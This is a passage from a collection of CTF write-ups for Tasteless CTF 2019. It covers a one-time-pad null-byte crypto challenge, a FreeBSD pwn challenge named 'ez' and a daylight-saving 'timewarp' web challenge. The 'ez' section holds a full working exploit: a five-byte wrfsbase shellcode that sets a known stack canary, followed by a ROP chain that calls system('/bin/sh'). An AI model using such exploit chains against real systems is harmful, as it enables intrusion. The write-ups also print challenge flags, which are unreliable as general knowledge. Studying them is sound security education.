fopen("/dev/urandom", "r"); 28 | assert(flag && urandom); 29 | 30 | /* 31 | * Get flag length, and allocate memory for the plaintext, 32 | * one-time pad and ciphertext. 33 | */ 34 | fseek(flag, 0, SEEK_END); 35 | flag_length = ftell(flag); 36 | rewind(flag); 37 | 38 | plaintext = malloc(flag_length + 1); 39 | one_time_pad = malloc(flag_length + 1); 40 | ciphertext = malloc(flag_length + 1); 41 | assert(plaintext && one_time_pad && ciphertext); 42 | 43 | /* Read the plaintext and the one-time-pad */ 44 | fread(plaintext, flag_length, 1, flag); 45 | fread(one_time_pad, flag_length, 1, urandom); 46 | plaintext[flag_length] = '\0'; 47 | one_time_pad[flag_length] = '\0'; 48 | 49 | /* Make sure that the one-time-pad isn't too short. */ 50 | assert(strlen(plaintext) == strlen(one_time_pad)); 51 | 52 | for (int i = 0; i < flag_length; i++) { 53 | ciphertext[i] = plaintext[i] ^ one_time_pad[i]; 54 | } 55 | 56 | fwrite(ciphertext, flag_length, 1, stdout); 57 | return 0; 58 | } 59 | ``` 60 | 61 | We first started analyzing this rather small challenge. 62 | 63 | This challenge essentially does 4 things: 64 | 65 | 1. Read the flag 66 | 67 | ```c 68 | // ... 69 | 70 | FILE *urandom = fopen("/dev/urandom", "r"); 71 | 72 | // ... 73 | 74 | fseek(flag, 0, SEEK_END); 75 | flag_length = ftell(flag); 76 | rewind(flag); 77 | 78 | plaintext = malloc(flag_length + 1); 79 | 80 | // ... 81 | 82 | fread(plaintext, flag_length, 1, flag); 83 | plaintext[flag_length] = '\0'; 84 | ``` 85 | 2. Generate a One Tme Pad the same exact length of the flag 86 | 87 | ```c 88 | // ... 89 | 90 | FILE *urandom = fopen("/dev/urandom", "r"); 91 | 92 | // ... 93 | 94 | one_time_pad = malloc(flag_length + 1); 95 | fread(one_time_pad, flag_length, 1, urandom); 96 | one_time_pad[flag_length] = '\0'; 97 | 98 | /* Make sure that the one-time-pad isn't too short. */ 99 | assert(strlen(plaintext) == strlen(one_time_pad)); 100 | ``` 101 | 102 | 3. XOR the flag with the OTP 103 | 104 | ```c 105 | for (int i = 0; i < flag_length; i++) { 106 | ciphertext[i] = plaintext[i] ^ one_time_pad[i]; 107 | } 108 | ``` 109 | 110 | 4. Print the cipher text 111 | 112 | ```c 113 | fwrite(ciphertext, flag_length, 1, stdout); 114 | ``` 115 | 116 | Now this isn't exactly a big attack surface. 117 | We assumed that `/dev/urandom` is actually random enough so there is no attacking the randomness. 118 | 119 | ## Solution 120 | 121 | The important part of this challenge is that the length of the OTP is checked against the length of the plaintext. Because of how `strlen` works in C, the OTP can not include a null byte. If the random OTP does contain a null byte the `strlen` will terminate the string there, the lengths wouldn't match and the assert would stop execution. 122 | 123 | ```c 124 | assert(strlen(plaintext) == strlen(one_time_pad)); 125 | ``` 126 | 127 | Armed with the knowledge that the OTP can't contain a null byte we can look at the XOR. 128 | Because of that crucial fact we know one thing about the cipher text. 129 | For each byte in the cipher text the byte can't be the same as the one at the same position in the flag. 130 | 131 | The only way to get the original byte of the flag in the cipher text, the OTP would have had to be a null byte because `X ^ 0 = X`. 132 | So to get the flag we now have to request so many cipher texts until we have eliminated all but one byte for each byte in the flag. 133 | 134 | ## Script 135 | 136 | ```python 137 | from pwn import * 138 | from IPython import embed 139 | from string import printable 140 | 141 | host = "hitme.tasteless.eu" 142 | port = 10401 143 | 144 | m = [] 145 | for x in range(37): # len(flag) == 37 146 | m.append({ord(x) for x in printable}) 147 | 148 | def get(): 149 | io = remote(host, port) 150 | ret = io.recvall() 151 | io.close() 152 | return ret 153 | 154 | def do_work(n): 155 | for x in range(n): 156 | g = get() 157 | for k, v in enumerate(g): 158 | if v in m[k]: 159 | m[k].remove(v) 160 | 161 | while not all(map(lambda x: len(x)==1, m)): 162 | do_work(100) 163 | 164 | print("".join([chr(list(x)[0]) for x in m])) 165 | 166 | """ 167 | tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3} 168 | """ 169 | ``` -------------------------------------------------------------------------------- /tasteless2019/ez.md: -------------------------------------------------------------------------------- 1 | # ez 2 | 3 | Author: plonk 4 | 5 | Category: pwn 6 | 7 | Solves: 18 8 | 9 | Points: 460 10 | 11 | We give you shellcode, we give you A Single Leak Required (well, 2), but you won't need them anyways, we give you ROP, 12 | 13 | should be easy, right? 14 | 15 | ## Challenge 16 | 17 | ```c 18 | #define _GNU_SOURCE 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #define ASLR_ENTROPEH 3 // should be enough... 29 | #define MORETIME 23 // because illuminati 30 | #define LONGNESS 64 // cause that's how long a long long is 31 | 32 | // These are just some utility macros for the shellcoding part. 33 | #define PUSH(reg) "push %" #reg "\n" 34 | #define POP(reg) "pop %" #reg "\n" 35 | #define CLEAR(reg) "xor %" #reg ", %" # reg "\n" 36 | 37 | #define PUSH_ALL() do { asm volatile ( \ 38 | PUSH(rax) PUSH(rbx) PUSH(rcx) PUSH(rdx) \ 39 | PUSH(rsi) PUSH(rdi) \ 40 | PUSH(r8) PUSH(r9) PUSH(r10) PUSH(r11) \ 41 | PUSH(r12) PUSH(r13) PUSH(r14) PUSH(r15) \ 42 | PUSH(rbp) \ 43 | ); } while(0) 44 | 45 | #define POP_ALL() do { asm volatile ( \ 46 | "1:\n" \ 47 | POP(rbp) \ 48 | POP(r15) POP(r14) POP(r13) POP(r12) \ 49 | POP(r11) POP(r10) POP(r9) POP(r8) \ 50 | POP(rdi) POP(rsi) \ 51 | POP(rdx) POP(rcx) POP(rbx) POP(rax) \ 52 | ); } while(0) 53 | 54 | long read_long() { 55 | char buf[LONGNESS]; 56 | bzero(buf, LONGNESS); 57 | for (unsigned char i = 0; i < LONGNESS; i++) { 58 | if ((read(STDIN_FILENO, buf+i, 1) != 1) || (buf[i] == '\n')) { 59 | buf[i] = 0; 60 | break; 61 | } 62 | } 63 | return strtol(buf, NULL, 10); 64 | } 65 | 66 | __attribute__((always_inline)) 67 | inline void do_shellcode() { 68 | // Wanna try shellcoding? Here you go! 69 | char *playground = NULL; 70 | int urandom = -1; 71 | 72 | // We even roll our own ASLR for MAXIMUM SEKURITEH! 73 | urandom = open("/dev/urandom", O_RDONLY); 74 | if (urandom == -1) { 75 | perror("YNORANDOMNESS?!"); 76 | exit(1); 77 | } 78 | 79 | if (read(urandom, &playground, ASLR_ENTROPEH) == -1) { 80 | perror("NEED MOAR ENTROPEH"); 81 | exit(1); 82 | } 83 | close(urandom); 84 | // XXX: check if close() failed... 85 | 86 | // Make sure we're page-aligned 87 | playground = (char*) ((unsigned long long) playground << 12); 88 | 89 | // No 32-bit magic! 90 | playground = (char*) ((unsigned long long) playground | (1UL<<33)); 91 | 92 | playground = mmap(playground, 93 | 1 << 12, 94 | PROT_READ | PROT_WRITE | PROT_EXEC, 95 | MAP_PRIVATE | MAP_ANON | MAP_EXCL | MAP_FIXED, 96 | -1, 97 | 0); 98 | 99 | if (playground == MAP_FAILED) { 100 | perror("RESPECT MAH MMAP"); 101 | exit(1); 102 | } 103 | 104 | puts("All your shellcode are belong to us!\n"); 105 | read(STDIN_FILENO, playground, 0x5); 106 | 107 | // In case your shellcode gets lost, here's the way back: 108 | memcpy(playground+0x5, "H\xb8", 2); // mov rax 109 | memcpy(playground+0xf, "H\xbc", 2); // mov rsp 110 | memcpy(playground+0x19, "\xff\xe0", 2); // jmp rax 111 | 112 | // Push ALL THE THINGS!!!11elf 113 | PUSH_ALL(); 114 | 115 | // Clear ALL THE THINGS!!! *well nearly... 116 | asm volatile( 117 | CLEAR(rsi) CLEAR(rdi) 118 | CLEAR(r8) CLEAR(r9) CLEAR(r10) CLEAR(r11) 119 | CLEAR(r12) CLEAR(r13) CLEAR(r14) CLEAR(r15) 120 | CLEAR(rbx) CLEAR(rcx) CLEAR(rdx) 121 | ); 122 | 123 | asm volatile( 124 | "movabs $1f, %%rdx\n" 125 | "mov %%rdx, 0x7(%%rax)\n" 126 | "mov %%rsp, 0x11(%%rax)\n" 127 | "xor %%rdx, %%rdx\n" 128 | "xor %%rbp, %%rbp\n" 129 | "xor %%rsp, %%rsp\n" 130 | "jmp *%0\n" 131 | :: "a"(playground) : 132 | ); 133 | 134 | // Pop ALL TEH THINGS!!! 135 | POP_ALL(); 136 | } 137 | 138 | __attribute__((always_inline)) 139 | inline void do_rop() { 140 | char ropmebaby[1*MORETIME]; 141 | long smells_fishy = 0; 142 | 143 | printf("yay, you didn't crash this thing! Have a pointer, you may need it: %p\n", dlsym(RTLD_NEXT, "system")); 144 | 145 | printf("You shouldn't need this pointer, but this is an easy challenge: %p\n", &ropmebaby[0]); 146 | fflush(stdout); 147 | 148 | printf("How much is the fish?\n"); 149 | fflush(stdout); 150 | smells_fishy = read_long(); 151 | printf("Okay, gimme your %ld bytes of ropchain!\n", smells_fishy); 152 | fflush(stdout); 153 | read(STDIN_FILENO, ropmebaby, smells_fishy); 154 | } 155 | 156 | int main() { 157 | setvbuf(stdout, NULL, _IONBF, 0); 158 | setvbuf(stdin, NULL, _IONBF, 0); 159 | setvbuf(stderr, NULL, _IONBF, 0); 160 | 161 | do_shellcode(); 162 | do_rop(); 163 | return 0; 164 | } 165 | ``` 166 | 167 | The binary provided with this C code was compiled for FreeBSD. 168 | This meant we first had to set up a FreeBSD VM we could use to actually run and interact with this binary. (Thanks plonk >:C) 169 | 170 | This challenge does 3 things: 171 | 172 | 1. You provide it with 5 bytes of shellcode which will get executed. 173 | 174 | ```c 175 | // ... 176 | 177 | puts("All your shellcode are belong to us!\n"); 178 | read(STDIN_FILENO, playground, 0x5); 179 | 180 | // In case your shellcode gets lost, here's the way back: 181 | memcpy(playground+0x5, "H\xb8", 2); // mov rax 182 | memcpy(playground+0xf, "H\xbc", 2); // mov rsp 183 | memcpy(playground+0x19, "\xff\xe0", 2); // jmp rax 184 | 185 | // ... 186 | 187 | asm volatile( 188 | "movabs $1f, %%rdx\n" 189 | "mov %%rdx, 0x7(%%rax)\n" 190 | "mov %%rsp, 0x11(%%rax)\n" 191 | "xor %%rdx, %%rdx\n" 192 | "xor %%rbp, %%rbp\n" 193 | "xor %%rsp, %%rsp\n" 194 | "jmp *%0\n" 195 | :: "a"(playground) : 196 | ); 197 | 198 | // ... 199 | ``` 200 | 201 | 2. When the shellcode succeeded the binary provides you with a pointer to system and the address for a buffer on the stack 202 | 203 | ```c 204 | printf("yay, you didn't crash this thing! Have a pointer, you may need it: %p\n", dlsym(RTLD_NEXT, "system")); 205 | 206 | printf("You shouldn't need this pointer, but this is an easy challenge: %p\n", &ropmebaby[0]); 207 | ``` 208 | 209 | 3. You provide the binary with a number bytes and a string of that length which are simply being read 210 | 211 | ```c 212 | printf("How much is the fish?\n"); 213 | fflush(stdout); 214 | smells_fishy = read_long(); 215 | printf("Okay, gimme your %ld bytes of ropchain!\n", smells_fishy); 216 | fflush(stdout); 217 | read(STDIN_FILENO, ropmebaby, smells_fishy); 218 | ``` 219 | 220 | ## Solution 221 | 222 | Everything in this binary screams ROP (`gimme your %ld bytes of ropchain`, `ropmebaby`, `do_rop`) so this will be our ultimate goal. 223 | It is also pretty obvious how and where to place the ROP chain, as you provide the binary the length of the string you are about to send and with that you can overrun the buffer on the stack. 224 | This is a by the books buffer overflow. 225 | The only problem here is the stack canary. 226 | 227 | ``` 228 | [*] '/home/liikt/AGRS/2019/tasteless/ez/ez' 229 | Arch: amd64-64-little 230 | RELRO: No RELRO 231 | Stack: Canary found 232 | NX: NX enabled 233 | PIE: No PIE (0x400000) 234 | ``` 235 | 236 | We have no way of leaking the canary so we can't know it's value. 237 | We do have the 5 byte of shellcode at the start, but 5 byte is hardly enough for 2 useful instructions. 238 | So that doesn't help 239 | The canary is a value stored in memory and pointed to by a segment register (in this case the `fs` register). 240 | Usually this register is protected and can only be accessed if the CPU is in a more privileged mode than the user mode. 241 | So a user shouldn't be able to change the content of the `fs_base` register and subsequently change the pointer to the canary. 242 | This surely has to be a protected register. 243 | 244 | Enter `wrfsbase` and `wrgsbase`. 245 | According to [this gist](https://gist.github.com/MerryMage/f22e75d5128c07d77630ca01c4272937) FreeBSD just doesn't care if the segment registers are changed. 246 | 247 | Okay but how does this help? 248 | Well remember the 5 byte of shellcode we could write? 249 | As it turns out the 64 bit versions of the `wr(f|g)sbase` instructions are exactly 5 byte long. 250 | Coincidence? 251 | I think not! 252 | 253 | `wrfsbase` takes a register as it's only argument and write it's content into the `fs_base` register. 254 | Thus whatever the register pointed to will become the new stack canary. 255 | 256 | ```c 257 | 258 | #define CLEAR(reg) "xor %" #reg ", %" # reg "\n" 259 | 260 | // ... 261 | 262 | asm volatile( 263 | CLEAR(rsi) CLEAR(rdi) 264 | CLEAR(r8) CLEAR(r9) CLEAR(r10) CLEAR(r11) 265 | CLEAR(r12) CLEAR(r13) CLEAR(r14) CLEAR(r15) 266 | CLEAR(rbx) CLEAR(rcx) CLEAR(rdx) 267 | ); 268 | 269 | asm volatile( 270 | "movabs $1f, %%rdx\n" 271 | "mov %%rdx, 0x7(%%rax)\n" 272 | "mov %%rsp, 0x11(%%rax)\n" 273 | "xor %%rdx, %%rdx\n" 274 | "xor %%rbp, %%rbp\n" 275 | "xor %%rsp, %%rsp\n" 276 | "jmp *%0\n" 277 | :: "a"(playground) : 278 | ); 279 | ``` 280 | 281 | Just before we are about to execute the shellcode however every register is cleared, apart from `rax` which contains the pointer to our `playground` and `rip` for obvious reasons. 282 | This leaves us with the `rax` and `rip` register as candidates for our new `fs_base` pointer. 283 | Since we control what `rax` is pointing to we chose `rax` as our lucky register. 284 | And because the canary ~~doesn't~~ shouldn't change over the course of an execution we do know what the canary will be by the time we are writing our rop chain. 285 | 286 | ```python 287 | io.recvuntil("All your shellcode are belong to us!\n") 288 | shellcode = "\xf3\x48\x0f\xae\xd0" # wrfsbase rax 289 | io.send(shellcode) 290 | ``` 291 | 292 | The rest is shockingly straight forward. 293 | We get a pointer to system and a pointer to the top of our buffer we are going to fill, we can fabricate a `/bin/sh` pointer by just putting it at the start of the buffer and then build a simple rop chain. 294 | 295 | ```python 296 | payload = "/bin/sh\0" + \ # /bin/sh string 297 | "\0" * 8 * 2 + \ # padding 298 | "\xf3\x48\x0f\xae\xd0H\xb8\xc5" + \ # the canary (first 8 byte of playground) 299 | "\0" * 8 * 1 + \ # bogus rbp for `leave` 300 | p64(0x400b3e) + \ # pop rax; pop r[^a]x 301 | p64(stack) + \ # addr to `/bin/sh` 302 | p64(0) + \ # bogus value for r[^a]x register 303 | p64(system) # call system 304 | ``` 305 | 306 | ## Script 307 | 308 | ```python 309 | from pwn import * 310 | from hashlib import sha1 311 | 312 | def proof(t, prefix): 313 | i = 0 314 | while True: 315 | if sha1(str(t + str(i)).encode()).hexdigest().startswith(prefix): 316 | return str(i) 317 | i += 1 318 | 319 | io = remote("hitme.tasteless.eu", 10801) 320 | pow_chal = io.readuntil("...").split("(")[1].split(",")[0] 321 | 322 | res = proof(pow_chal, "00000") 323 | io.sendline(res) 324 | io.recvuntil("All your shellcode are belong to us!\n") 325 | shellcode = "\xf3\x48\x0f\xae\xd0" 326 | io.send(shellcode) 327 | 328 | io.recvuntil("you may need it: ") 329 | system = int(io.recvline().strip(), 16) 330 | io.recvuntil(": ") 331 | stack = int(io.recvline().strip(), 16) 332 | 333 | log.info("system @ : " + hex(system)) 334 | log.info("stack @ : " + hex(stack)) 335 | 336 | io.recvuntil("fish?\n") 337 | payload = "/bin/sh\0" + "\0" * 8 * 2 + "\xf3\x48\x0f\xae\xd0H\xb8\xc5" + "\0" * 8 * 1 + p64(0x400b3e) + p64(stack) + p64(0) + p64(system) 338 | io.sendline(str(len(payload))) 339 | io.recvuntil("ropchain!") 340 | io.send(payload) 341 | io.sendline("cat flag.txt") 342 | flag = io.recvuntil("}").strip() 343 | log.info("Flag : {}".format(flag)) 344 | ``` -------------------------------------------------------------------------------- /tasteless2019/timewarp.md: -------------------------------------------------------------------------------- 1 | # timewarp 2 | 3 | Author: ccmd 4 | 5 | Category: web 6 | 7 | Solves: 11 8 | 9 | Points: 484 10 | 11 | !!! challenge will shutdown at approx 01:30 UTC !!! 12 | 13 | If you haven't solved it until then, we don't think you'll be able to do it. 14 | 15 | ## Challenge 16 | 17 | You were presented with a website that gave you a choice between `getting a token` and `dancing`. 18 | 19 | Once you click on `grab a token` you are redirected to a site where you'd get a line from the lyrics of the song [Time Warp](https://www.youtube.com/watch?v=umj0gu5nEGs) from the Rocky Horror Picture Show. After about 5 seconds the website would provide you with a token that is valid for 5 seconds. 20 | 21 | ![token](token.png) 22 | 23 | This token could then be submitted. 24 | The submission process is very similar to getting a token though. 25 | But instead of 5 seconds it would take even longer, so even if you were to script getting the token and submitting it the token would always be invalid by the time it is checked. 26 | 27 | ![slow](youre_to_slow.png) 28 | 29 | ## Solution 30 | 31 | This seems like an impossible challenge, but as the solves show it really isn't. 32 | The trick here is knowing that in most time zones that have daylight saving time, the 27th of October the clock jumps back an hour. For us that was from 3am to 2am because we switched from CEST to CET (UTC+2 to UTC+1). 33 | 34 | That gave us a roughly 30 minutes time window were tokens suddenly were valid again. 35 | This means to solve this challenge you would generate a token at say 2:20:00 am sharp. 36 | This token would be valid until 2:20:05 am. 37 | Then you'd wait until 3 am where you do the timwarp and the clocks reset. 38 | Now the token that was invalid suddenly becomes valid for 20 minutes and 5 seconds. 39 | This is enough time to submit it and get the Flag. 40 | 41 | Flag: `tctf{I remember doing the time-warp. Drinking those moments when. The Blackness would hit me. And the void would be calling...}` 42 | -------------------------------------------------------------------------------- /tasteless2019/token.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/tasteless2019/token.png -------------------------------------------------------------------------------- /tasteless2019/youre_to_slow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/tasteless2019/youre_to_slow.png --------------------------------------------------------------------------------